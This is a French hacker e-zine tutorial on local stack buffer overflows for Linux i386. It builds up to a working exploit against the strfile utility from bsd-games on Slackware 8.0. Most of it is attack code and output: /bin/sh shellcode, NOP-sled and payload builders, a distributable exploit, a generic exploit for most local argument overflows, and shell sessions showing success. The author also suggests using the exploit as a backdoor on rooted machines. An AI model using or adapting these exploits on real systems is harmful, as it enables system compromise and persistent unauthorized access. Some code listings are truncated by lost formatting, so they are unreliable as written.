__ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.09 Buffer Overflow pour les 0x90 \ \ ! . aka \ \ . ; When doing a local buffer overflow is easier than \ \ : : finding a girlfriend \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Cet article traitera de comment faire un buffer overflow sur un exécutable linux i386 ia32 local. Contrairement aux articles déjà paru sur les buffers overflow de type local, nous n'utiliserons pas d'exemple préfab. Nous tenterons (et réussirons) d'exploiter strfile, un utilitaire du package bsd-games (fortune cookie) dans un environnement linux slackware 8.0 . L'accent sera mit sur le comment plus que le pourquoi, le but de cet article étant de démontrer en milieu réel la création d'un exploit de type buffer overflow local. Là où ça se passe vraiment quoi. Des connaissances minimums en système d'exploitation linux et en programmation (les codes présentés ici seront en C et ASM, mais la non-connaissance de ces langages n'entraîne pas automatiquement une non-compréhension de cet article, il est tout à fait possible de comprendre les exemples donnés si vous pratiquez déjà la programmation sous un autre langage). Vous pouvez donc voir cet article comme une vulgarisation des buffers overflow. L'accent sera donc mit sur ce qui est important pour réussir. Je proposerais aussi une solution tout en un qui permettra d'exploiter la plupart des buffers overflow d'argument local avec un seul exploit. Strfile n'est pas suid root, mais on peut se servir de cet exploit comme une backdoor sur une machine déjà rooté. L'article sera séparé en 2 parties majeures, la première partie, théorique, récapitule de façon généralisé ce qui est nécessaire de savoir. Cette théorie a déjà été expliqué de différentes façons, je la reprends donc ainsi a la mienne en tant qu'introduction à l'exploit de strfile. Nous en venons donc à la 2ème section qui traitera de l'exploitation de strfile de façon pratique et se terminera par la confection d'un exploit en C. La théorie Un buffer overflow se produit lorsqu'on tente d'écrire en mémoire le contenu d'une variable dont la grandeur en bytes dépasse celle prévue à cet effet par le programme lui-même. Les données qui se retrouverons en surplus iront réécrire par dessus les valeurs précédentes dans la stack (la stack étant la partie de mémoire où sont stockés les arguments et les variables locales). Pourquoi celle qui précède ? Et bien car dans la stack tout ce qui est inscrit débute à la fin, un peu comme lorsqu'un arabe écrit. Donc la première variable à entrer sera à la fin de la stack. Ensuite la deuxième variable viendra s'ajouter "en dessous". Mais pourquoi donc si la 2ème variable est overflowée son contenu viendra se déverser dans la première ? Et bien c'est que dans chaque variable le contenu est écrit du bas vers le haut dans l'espace allouée à cette variable. wtf ? Un ascii s'impose afin de mieux digérer tout ça. End of user Memory ,----------------, | | bon la stack est la zone situer à la fin de la mémoire | S | | allouée par le OS à un process. Dans cette zone sont | T | | situées toute les variables utilisées par le process. | A | | Pour une procédure qui contient 4 variables, la première | C | | s'installera dans le haut de la stack la 2ième viendra | K | | ensuite en dessous de la première et la 3ième en dessous | | | de la 2ième et ainsi jusqu'à la fin. | | | | \ / | | ' | |________________| End of user Memory ,----------------, |1ère procédure | S | | var1 / \ | T | | var2 | | A | | var3 | | C | | var4 | | K | |________________| | |2ième procédure | | | var1 / \ | \ / | var2 | | ' | var3 | | | var4 | | | | ____ ,------------------------------------------------- / \ | Bien que ça ne soit pas nécessaire à la réussite | _ | | d'un buffer overflow local, certains d'entre vous | / \ | | aimeraient sans doute avoir un supplément || | | / d'information sur la stack et l'organisation de la (.) (.)| / mémoire en général. || | | <__ || | | | | Pour chaque process (un process étant un programme || | | | | s'exécutant) une zone de mémoire virtuelle de |____/|| | | 4 gig est définie. Cette zone est divisée en 2, |\___/ | | | l'espace kernel et l'espace user. C'est avec l'espace || | | | | user que nous aurons affaire dans cet article. || | | | | Voici donc à quoi ressemble la totalité de la || | | | | mémoire. || | | | \___/ | | | ,----------------, \______/ | K | Cette zone mémoire n'est accessible | E | que par le kernel, il est impossible | R | pour un user d'y lire ou d'y écrire. | N S | | E P | | L A | | C | | E | | | | | | | | | |________________| | | C'est dans la stack que sont storées | | | les arguments et les variables locales | STACK | | d'une procédure, chaque procédure | \ / | d'un programme dispose de son endroit | ' | dans la stack qui est appelé | / \ | "FRAME". c'est à l'intérieure d'un | HEAP | | de ces frames que nous ferons notre | | | buffer overflow. Le heap sert à |________________| storer les vars dynamiques ex :malloc(). | BSS | c'est dans le bss que se retrouve |________________| les données globales non initialisées. | DATA | le data est défini par les |________________| constantes. | TEXT | C'est dans le segment text que se |________________| trouve le code à exécuter. Cette partie est unwritable. La mémoire réservée à la stack débute à l'adresse 0xbfffffff. En fait, il s'agit de la fin de l'espace user puisque la stack se lit a l'envers du reste de la mémoire. Tel que démontré dans le graphique. Bref qu'on dise que la user space fini a 0xbfffffff ou que la stack débute à 0xbfffffff, c'est la même chose. Dans la stack les données s'empilent vers le bas en suivant la loi fondamentale, last in first out. C'est à dire que le dernier entré est le premier à en sortir. Bon, tout ça est bien beau, mais a quoi ça sert ? He bien, lors de la création d'une procédure, le système se donne 2 indices qui lui permettrons de se repérer par la suite. Il s'agit de 2 registes, qui contiennent les endroits en mémoires ou retourner lorsque la procédure aura fini d'être appliquée, il se retrouve au début de la procédure auquel ils sont rattachés, avant les variables.. ces registres sont appelés en ASM eip et ebp. Ainsi donc, lorsqu'on enverra par argument à la variable une valeur dépassant la grandeur réservée en mémoire de celle ci nous pourrons réécrire la valeur de eip et nous le redirigerons à l'adresse mémoire où nous avons créé notre buffer overflow dans lequel nous aurons introduit un shellcode. Le shellcode est une suite d'instructions ASM qui "généralement" sert à exécuter /bin/sh avec les privilèges du programme que nous exploitons. wtf ? End of user Memory ,------------------, |1ère procédure eip| Donc en temps normal, dans eip est S | | ebp| indiqué l'adresse ou devra retourner T | | | en mémoire pour continuer l'exécution A | | var1 / \| du programme. Nous, en faisant un buffer C | | var2 | | overflow, nous disposons de la grandeur K | | var3 | | du buffer pour écrire un programme | | var4 | | que nous ferons exécuter en modifiant | |__________________| eip à la fin de notre buffer overflow \ / |2ème procédure eip| pour qu'il "continue" dans notre code | ebp| a nous que nous avons injecté dans la | | variable via le passage d'un argument. | var1 / \| autrement dit, si notre buffer se situe | var2 | | dans la 3ième variable de la première | var3 | | procédure, nous devrons écraser le | var4 | | contenue des 2 premières variables afin d'accéder au eip. Qu'est-ce que eip et ebp ? eip et ebp sont 2 registres qui contiennent des adresses hexadécimales d'une grandeur de 4 bytes. ebp , extended base pointer, aussi appelé frame pointer, c'est dans ebp que se trouve la location en mémoire du frame précédant. eip , extended instruction pointer réfère à l'adresse où le programme doit jumper pour continuer sainement son exécution. C'est le eip qui nous intéresse, car c'est en modifiant cette valeur que nous pourrons indiquer au process d'aller lire notre shellcode plutôt que de continuer sont exécution tel que prévu. Pourquoi ? Certaines fonctions en C ne prennent pas compte de la grandeur des variables qu'ils copient en mémoire, la plus connu est strcpy(), c'est généralement de strcpy() qu'on se sert dans les textes qui traitent de buffer overflow pour créer un environnement exploitable artificiel. Parmi les autres fonctions vulnérables, on retrouve strcat(), sprintf(), vsprintf(), gets(), et les *scanf(), d'autres fonctions peuvent mener à un buffer overflow dépendamment de leur utilisation. Exemple : #include main (int argc, char *argv[]) { char buffer1[20]; char buffer2[256]; if (argc > 2) { strcpy(buffer1,argv[1]); strcpy(buffer2,argv[2]); } else { printf("this crap needs 2 arguments\r\n"); } } Donc dans ce code, si l'on passe en argument à buffer1 une valeur de plus de 256 bytes, le surplus va déborder dans buffer2 et le programme va continuer son exécution normalement (puisque ce code ne s'attend à aucune valeur en particulier et ne fait rien d'autre que de copier arg1 en mémoire (a l'intérieur de buffer1). Nous allons donc essayer à l'aide de gdb et d'une fonction pratique en Perl de trouver à quel endroit se trouve le eip du code précédant. Lorsque se sera fait, nous pourrons nous attaquer à strfile et créer l'exploit. Le caractère "`" permet de passer une autre commande en argument, c'est donc le résultat de la commande entre `` qui apparaîtra et non la commande elle même. Perl possède le même genre de caractère "'" qui permet les même fonctions, comme c'est 2 balises sont différentes, il nous est donc possible de passer le résultat d'une commande à une autre commande afin d'arriver à un résultat global. Ex: [encoder@localhost encoder]$ echo `perl -e 'print "A"x20'` AAAAAAAAAAAAAAAAAAAA [encoder@localhost encoder]$ Ainsi nous avons passé en commentaire à la commande echo 20 A. Nous nous servirons de cette particularité afin de construire nos buffers tests qui nous servirons à identifier le nombre de bytes nécessaire pour réécrire eip. [encoder@localhost test]$ gdb test2 -q (gdb) r `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Starting program: /home/encoder/hack/test/test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) p $eip $1 = (void *) 0x41414141 (gdb) (41 étant la valeur hexadécimal de A, on sait donc ainsi qu'on a réécrit 4 "A" sur la valeur de eip) Comment savoir le nombre de bytes nécessaire pour remplir un buffer ? He bien, il suffit de compter. eip(4bytes) + ebp(4bytes) + int argc(4bytes) + char* argv[1](3 x 4bytes (2 argument + prog name)) + buffer1(20bytes) + buffer2(256bytes) donc 4 + 4 + 4 + 12 + 20 + 256 = 300 Je dois spécifier que je travail sur un système red hat, et que red hat afin de se protéger des nombreux exploits déjà existant a son égard fait ajouter une valeur de 4 bytes après le ebp. Ainsi donc nous arrivons enfin à notre 304 bytes de buffer. Sous un système slackware, comme nous tenterons d'exploiter plus tard, notre buffer aurait été de 300bytes. Il faut aussi savoir que dans la stack toute les variables sont paddées a 4 bytes. Donc toute les buffers auront nécessairement un multiple de 4 comme grandeur. Une autre façon plus brainless de trouver la réponse aurait été de bruteforcer carrément la grandeur du buffer. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x256'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x266'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x276'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x286'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x296'` [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x306'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11024 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) quit 306 n'étant pas un multiple de 4, nous pouvons savoir qu'il est impossible que le eip soit correctement écrasé avec un padding de la sorte. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11032 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x42015800 in ?? () (gdb) quit A 300 on ne retrouve pas nos AAAA (41414141) c donc dire que nous n'avons pas réécrit eip. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x304'` Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11040 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () (gdb) Ici à 304 nous nous rendons compte que nous avons effectivement réécrit eip, afin de nous assurer que nous ne nous sommes pas trompé nous allons donner comme argument un padding de 300 A et de 4 Z afin de s'assurer que s'assurer que les 4 derniers bytes de notre buffer overflow recouvre bien le eip. [encoder@localhost test]$ ./test2 `perl -e 'print "B"x20'` `perl -e 'print "A"x300'`ZZZZ Segmentation fault (core dumped) [encoder@localhost test]$ gdb -c core.11743 -q Core was generated by `./test2 BBBBBBBBBBBBBBBBBBBB AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x5a5a5a5a in ?? () (gdb) Operation successfull, on vient de trouver le eip. ____ ,------------------------------------------------- / \ | Certain d'entre vous qui connaissent mal ou pas | _ | | du tout GDB apprécieraient sûrement une petite | / \ | | explication de ce qui c'est passé ici. || | | / (.) (.)| / || | | <__ gdb est un programme disponible sur la plupart || | | | | des systèmes d'exploitation qui permet de gérer || | | | | l'exécution de binary, daller lire les segments |____/|| | | de mémoires, de connaître le contenu des |\___/ | | | registre, d'exécuter un binary en traçant des || | | | | breakpoints afin de pouvoir débuguer directement || | | | | certaines sections. gdb permet aussi d'obtenir des || | | | | dump en asm AT&T des différentes procédures et || | | fonction d'un code donner, et peut même dans le | \___/ | cas d'un programme compilé spécifiquement pour | | gdb de présenter le code original en C à partir \______/ du binary. Un article entier pourrais être consacré à l'utilisation de gdb, comme il ne s'agit pas du but recherché ici, je vais me contenter de survoler ce qui est nécessaire pour comprendre cette article et parler de quelques commandes de base qui peuvent s'avérer intéressantes. afin d'utiliser gdb pour gérer un programme qui segfault, il faut créer un core au moment du segfault. c'est ce core que nous utiliserons via gdb pour "debugger" notre application. pour faire créer un core il suffit de faire la commande ulimit -c 100000 (ce n'est pas nécessaire de la refaire avant chaque exécution, une fois suffit, tant que vous demeurez dans le même shell). pour lancer gdb avec un coredump il suffit de lancer la commande suivante gdb -c core (ici core peu présenter quelques différences dépendamment du os ou même de la distro que vous utiliser. par exemple sous slackware la dénomination est simplement core tandis que sous redhat un id est ajouté en extension ce qui donne core.10045 (genre). Une autre façon est de lancer gdb avec le programme a débuguer en paramètre, ex: gdb test Ensuite à l'intérieur de gdb il suffit de taper"r" ou "run" pour que l'application s'exécute. Il est possible de passer des paramètres, de la même façon que vous feriez si vous lanceriez le programme à partir d'un shell. C-a-d que vous tapez r suivit des arguments. Encore la comme dans un shell il est possible d'insérer des résultats de commande en argument à l'aide des balises ``. Vous aurez sûrement remarqué l'utilisation de l'option -q au démarrage de gdb. Cette option enlève simplement le header de gdb (du text pas trop important et très redondant à la longue). Pour de l'aide, taper help, (classique) Quelques autres commandes vous serons sûrement utile p (print) : permet de printer la valeur d'un registre ex : p $eip donnera la valeur de eip. noter que pour l'utilisation de "p" le registre mit en option doit être débuter par le caractère $. info registers : donne la liste et la valeur de chaque registre disassemble : permet de donner un dump asm d'une procédure ou d'une fonction ex : disassemble main donnera le code en asm de votre fonction main x/12 : permet d'afficher le contenu hexadécimal de la mémoire en diviser en section de 12 groupe de 4 bytes, faire enter pour remonter dans la mémoire. x/12 a besoin comme paramètre une adresse hexadécimal de ou commencer à lire. ex : (gdb) x/12 0xbffff830 donnera un résultat qui ressemble a ceci 0xbffff830: 0x00000000 0xbffff874 0xbffff884 0x400124b8 0xbffff840: 0x00000003 0x080482ac 0x00000000 0x080482cd 0xbffff850: 0x0804835c 0x00000003 0xbffff874 0x08048254 Où la première colonne représente l'adresse hexadécimal de la première bytes de la 2ième colonne. (0x stand for hexadecimal use). Et maintenant, passont à la pratique. Comme dit précédemment, le but de cette article est de créer un exploit pour strfile sous linux slackware 8.0 . La première étape est de trouver la grandeur du buffer exploitable. Pour ce faire, vu que nous ne disposons pas du source code, nous procéderons par un petit bruteforce. Pour ce faire, nous n'utiliserons pas la commande de perl montrer plus haut, mais un petit tool en C qui fait exactement la même chose, en moins long à taper. //pad.c //use it to find the buffer lenght #include main(int argc,char* argv[]) { int x; if (argc > 1) { // A X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42) for (x=0;x main(int argc,char*argv) { char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; printf("lenght of %d\r\n", strlen(shellcode)); } root@Rewter:~/tool# gcc length.c -o len root@Rewter:~/tool# ./len lenght of 32 Nous savons maintenant que notre shellcode a une grosseur de 32 bytes. Nous pouvons donc assumer avec certitude qu'il nous faudra 4112 bytes de nop pour compléter notre buffer (il ne faut pas oublier que l'adresse qui réécrit eip prend 4bytes). eip : C'est dans les 4 bytes du eip que se trouve l'adresse de retour. Il nous faut donc trouver une adresse mémoire au milieu de nos nop. pour ce faire nous utiliserons gdb et un petit code en c qui ressemble beaucoup a notre code de padding, sauf que au lieu de créer des A il créer des nop. //nop.c //padding de nop dans un buff #include main(int argc,char* argv[]) { int x; if (argc > 1) { // 0x90 X nbr argument(argv[1]) (perl -e 'print "A"x300') (0x42) for (x=0;x unsigned long getesp() { __asm__("movl %esp, %eax"); } main(int argc, char* argv[]) { unsigned long esp; char* ret; esp = getesp(); if (argc > 1) esp += atoi(argv[1]); ret = &esp; printf("%c%c%c%c",ret[0],ret[1],ret[2],ret[3]); } Maintenant que nous avons la possibilité de réécrire le eip avec une adresse qui jumpera au début de notre buffer. l'offset est un nombre qu'on passe en argument que l'exploit addition a l'adresse hexadécimal afin de permettre un peu de souplesse a l'exploit. de petite variation pouvant arriver d'un système a l'autre il est toujours pratique d'avoir la chance de jumper a une adresse plus haute en mémoire. Nous sommes maintenant prêt à bâtir un buffer que nous copierons dans un tird part text, dont nous nous servirons comme argument à passer à strfile. Dans un premier temps il nous faudra un code qui output notre shellcode pour ensuite le passer en argument à un programme qui assemblera nop shellcode et eip. //shellcode.c //print le shellcode pour le passer en arguement #include char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; main() { printf("%s",shellcode); } //build_buf.c //assemble le buffer (nop + shellcode + ret (eip) #include main(int argc, char* argv[]) { int buffer_size; char* shellcode; char* ret; int x,y; if (argc > 3) { buffer_size = atoi(argv[1]); shellcode = argv[2]; ret = argv[3]; x = buffer_size; x -= strlen(shellcode); for (y=0;y buf root@Rewter:~/tool# strfile `cat buf` sh-2.05# Tadam on vient de réussir un buffer overflow. nous n'avons pas eu besoin d'offset, mais jumper à l'intérieur d'une zone de 4148 bytes est quelque chose d'assez facile à faire. ce n'est pas l'espace qui manque. Noter que strfile ne possède pas de suid root, donc l'exploit ne donnera pas le root, il va seulement conserver les privilèges que vous avez déjà. ici je lai lancer root, c'est pourquoi je suis root. cependant il n'existe pas de différence au niveau code pour exploiter un programme suid 0 d'un programme non-suid 0. Maintenant que nous avons une vague idée de ce a quoi notre exploit ressemble nous allons en bâtir un static pour strfile. qui sera compilable et distribuable. //mkd_strfile.c //exploit static pour slackware 8.0 strfile (bsdgame package) #include //location du bin a exploiter #define PATH "/usr/bin/strfile" //grandeur du buffer total #define BUFFER 4148 //addresse de retour (pour ecraser eip) #define RET "\xbf\xff\xeb\x58" main (int argc,char* argv[]) { char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char nop[] = "\x90"; int x; char* payload; //creation du padding de nop for (x=1;x #include unsigned long getesp() { __asm__("movl %esp, %eax"); } main(int argc, char* argv[]) { int buffer_size, i; char shellcode[] = "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3" "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char nop[] = "\x90"; char* path; char* buff; char* payload; char* redhat; unsigned long ret; if (argc > 4) { /*definition des variable*/ path = argv[1]; buffer_size = atoi(argv[2]); redhat = argv[4]; /*mettre laddresse memoir de %esp dans esp*/ ret = getesp(); /*calcule du ret*/ ret += atoi(argv[3]); buff = malloc(4096); payload = buff; /*padding du payload*/ if (*redhat == 'n') { for (i=0;i 5) { printf("trying to exploit %s %s\n", &path[0], argv[5]); } else { printf("trying to exploit %s\n", &path[0]); } printf("a buffer of %d\n", buffer_size); printf("using a shellcode of %d\n", strlen(shellcode)); printf("with a padding of %d\n", buffer_size-strlen(shellcode)-4); printf("and an offset of %d\n", atoi(argv[3])); printf("jumping to 0x%x\n", ret); printf("payload lenght %d\n", strlen(payload)); if (argc > 5) { execl(path, "genericbuf", argv[5], payload, NULL); } else { execl(path, "genericbuf", payload, NULL); } } else { printf("usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument]\n"); } } Ce code prend en compte les 4 bytes de trop sous un système red hat, pour vous montrez son fonctionnement j'exploiterais strfile à nouveau. Mais en utilisant buf_generic_x86 au lieu de mkd_strfile root@Rewter:~/tool# ./buf_generic_x86 usage is ./buf_generic_x86 path_to_vuln buffer_size offset redhat_flag(y/n) [argument] root@Rewter:~/tool# ./buf_generic_x86 /usr/bin/strfile 4148 0 n trying to exploit /usr/bin/strfile a buffer of 4148 using a shellcode of 32 with a padding of 4112 and an offset of 0 jumping to 0xbffff94c payload lenght 4148 sh-2.05# Et pour la 3ième fois dans cet article, nous avons réussi à exploiter strfile. comme vous avez pu remarquer, il existe plus qu'une façon d'arriver a exploiter un buffer overflow local. J'espère que ce texte vous aura apporter quelque chose ne serais-ce que le buf_generic.c si vous saviez deja faire des buffers overflow. sinon, he bien, peu être aurez vous trouvez le complément qui manquais au doc existant pour arriver à votre fin. Greets : __2 avec qui j'ai construit les tools en C qui permettent de créer un buffer dans un file. Wyzeman ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / wyzeman@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----'